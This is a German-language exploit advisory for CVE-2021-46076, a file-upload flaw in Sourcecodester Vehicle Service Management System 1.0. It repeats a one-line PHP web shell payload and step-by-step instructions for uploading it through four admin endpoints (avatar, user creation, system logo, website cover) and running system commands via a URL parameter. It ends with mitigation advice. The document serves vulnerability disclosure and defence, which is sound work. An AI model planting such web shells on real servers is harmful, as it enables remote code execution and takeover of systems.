CVE-2021-46076

Exploit Titel: Vehicle Service Management System - 'Mehrere' Datei-Uploads führen zur Codeausführung

Exploit Autor: SANU P.L

CVE: CVE-2021-46076

CVSS: 8.8 HIGH

Referenzen:

• https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution
• https://nvd.nist.gov/vuln/detail/CVE-2021-46076
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46076

Beschreibung:

Sourcecodester Vehicle Service Management System 1.0 ist anfällig für Datei-Uploads. Ein Angreifer kann eine schädliche PHP-Datei an mehreren Endpunkten hochladen, was zur Codeausführung führt.

1. Vehicle Service Management System - 'Mein Konto' (/admin/?page=user)

Exploit:

1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
2. Navigieren Sie zum Bereich „Mein Konto": http://localhost/vehicle_service/admin/?page=user

Payload:

<?php system($_GET['cmd']);?>

3. Speichern Sie den obigen PHP-Code, z. B. als Cmd.php
4. Geben Sie im Bereich „Mein Konto" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Avatar" aus.
5. Klicken Sie auf „Aktualisieren".
6. Öffnen Sie das Avatar-Bild in einem neuen Tab.
7. Fügen Sie den cmd-Parameter in die URL ein und führen Sie die Befehle aus.
8. Finale URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. Führen Sie alle Systembefehle aus, z. B. id, whoami, pwd usw.

2. Vehicle Service Management System - 'Benutzerliste' (/admin/?page=user/manage_user)

Exploit:

1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
2. Navigieren Sie zum Bereich „Benutzerliste" und klicken Sie auf „Neu erstellen".

Payload:

<?php system($_GET['cmd']);?>

3. Speichern Sie den obigen PHP-Code, z. B. als Cmd.php
4. Geben Sie auf der Seite „Neuen Benutzer erstellen" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Avatar" aus.
5. Klicken Sie auf „Speichern".
6. Öffnen Sie das Avatar-Bild in einem neuen Tab.
7. Fügen Sie den cmd-Parameter in die URL ein und führen Sie die Befehle aus.
8. Finale URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. Führen Sie alle Systembefehle aus, z. B. id, whoami, pwd usw.

3. Vehicle Service Management System - 'Einstellungen - System-Logo' (/admin/?page=system_info)

Exploit:

1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
2. Navigieren Sie zum Bereich „Einstellungen": http://localhost/vehicle_service/admin/?page=system_info

Payload:

<?php system($_GET['cmd']);?>

3. Speichern Sie den obigen PHP-Code, z. B. als Cmd.php
4. Geben Sie im Bereich „Einstellungen" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „System-Logo" aus.
5. Klicken Sie auf „Aktualisieren".
6. Öffnen Sie das System-Logo-Bild in einem neuen Tab.
7. Fügen Sie den cmd-Parameter in die URL ein und führen Sie die Befehle aus.
8. Finale URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. Führen Sie alle Systembefehle aus, z. B. id, whoami, pwd usw.

4. Vehicle Service Management System - 'Einstellungen - Website-Cover' (/admin/?page=system_info)

Exploit:

1. Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
2. Navigieren Sie zum Bereich „Einstellungen": http://localhost/vehicle_service/admin/?page=system_info

Payload:

<?php system($_GET['cmd']);?>

3. Speichern Sie den obigen PHP-Code, z. B. als Cmd.php
4. Geben Sie im Bereich „Einstellungen" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Website-Cover" aus.
5. Klicken Sie auf „Aktualisieren".
6. Öffnen Sie das Website-Cover-Bild in einem neuen Tab.
7. Fügen Sie den cmd-Parameter in die URL ein und führen Sie die Befehle aus.
8. Finale URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
9. Führen Sie alle Systembefehle aus, z. B. id, whoami, pwd usw.

Auswirkungen:

Ein Angreifer kann eine schädliche PHP-Datei an mehreren Endpunkten hochladen, was zur Codeausführung führt.

Gegenmaßnahmen:

Es wird empfohlen, Folgendes umzusetzen:

• Akzeptieren Sie niemals einen Dateinamen und dessen Erweiterung direkt ohne einen Whitelist-Filter.
• Wenn keine Unicode-Zeichen erforderlich sind, wird dringend empfohlen, nur alphanumerische Zeichen und nur einen Punkt als Eingabe für den Dateinamen und die Erweiterung zu akzeptieren.
• Begrenzen Sie die Dateigröße auf einen Maximalwert, um Denial-of-Service-Angriffe zu verhindern.
• Das Upload-Verzeichnis sollte keine „Ausführungs"-Berechtigung besitzen.
• Verlassen Sie sich nicht nur auf die clientseitige Validierung.